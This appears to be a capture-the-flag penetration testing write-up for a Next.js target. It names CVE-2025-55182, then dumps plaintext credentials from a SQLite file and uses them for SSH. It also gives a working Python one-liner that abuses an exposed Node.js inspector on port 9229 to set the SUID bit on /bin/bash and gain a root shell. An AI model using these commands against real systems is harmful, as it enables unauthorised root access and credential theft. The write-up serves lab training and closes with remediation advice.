
Technical penetration testing writeup demonstrating exploitation of CVE-2025-55182 in Next.js, credential harvesting from SQLite, and privilege escalation via Node.js inspector to achieve root access.
Penetration Testing Writeup: Next.js RCE & Node.js Inspector Privilege Escalation This technical writeup details the exploitation path for compromising a target hosting a vulnerable Next.js web application, achieving initial access via harvested credentials, and leveraging a misconfigured local Node.js V8 inspector for root privilege escalation.
Phase 1: External Reconnaissance & Web Exploitation Initial Footprinting The target hosts a Next.js web application running on standard HTTP/HTTPS ports (80/443). Standard directory enumeration and manual analysis indicate that the application is running a version vulnerable to CVE-2025-55182.
Exploitation via Burp Suite To exploit the vulnerability, intercept the application traffic using Burp Suite (or Burp Repeater) and inject a crafted exploit payload targeting CVE-2025-55182.
Database Discovery Upon achieving code execution and local file read through the exploit, inspect the application source directory. The local SQLite database file (database.db) is located adjacent to the main application source code.
Phase 2: Extracting Credentials & Initial Access Inspecting the Database Query or dump the contents of the database file to extract stored user records.
Bash sqlite3 database.db "SELECT * FROM users;" Credential Extraction Locate the cleartext password associated with the local SSH user engineer.
SSH Login Use the recovered credentials to establish an SSH session with the target machine:
Bash ssh engineer@ User Flag Retrieval Once authenticated, read the user flag located in the home directory:
Bash cat /home/engineer/user.txt Phase 3: Privilege Escalation via Node.js Inspector Internal Port Reconnaissance Check for services bound exclusively to the local loopback interface (127.0.0.1) to identify internal attack surfaces:
Bash netstat -tulnp Result: An internal Node.js service is actively listening on local port 9229.
Discovering the Debugger UUID Node.js V8 debug ports require a unique session UUID for WebSocket communication. Query the local discovery endpoint using curl with /json appended:
Bash curl -s http://127.0.0.1:9229/json Output:
JSON { "webSocketDebuggerUrl": "ws://127.0.0.1:9229/46a680a0-1cf5-4af4-9ce6-474f77329639" } Executing the Privilege Escalation Payload Because the target Node.js process runs with root privileges, you can send a Chrome DevTools Protocol (CDP) Runtime.evaluate message via Python over WebSockets to set the SUID bit on /bin/bash:
Bash python3 -c 'import websocket, json; ws = websocket.create_connection("ws://127.0.0.1:9229/"); ws.send(json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": "process.mainModule.require("child_process").execSync("chmod +s /bin/bash")"}})); print(ws.recv()); ws.close()' Dropping into a Root Shell Verify that /bin/bash now has SUID permissions enabled (-rwsr-sr-x), then invoke Bash preserving privileges:
Bash ls -l /bin/bash bash -p Retrieving the Root Flag Navigate to the root user's home directory to capture the final flag:
Bash cd /root cat root.txt Securing environments against these vectors requires patching web applications vulnerable to known CVEs, properly restricting database file permissions, and ensuring that debugging ports (such as the Node.js inspector on port 9229) are never exposed or left accessible without authentication in production environments.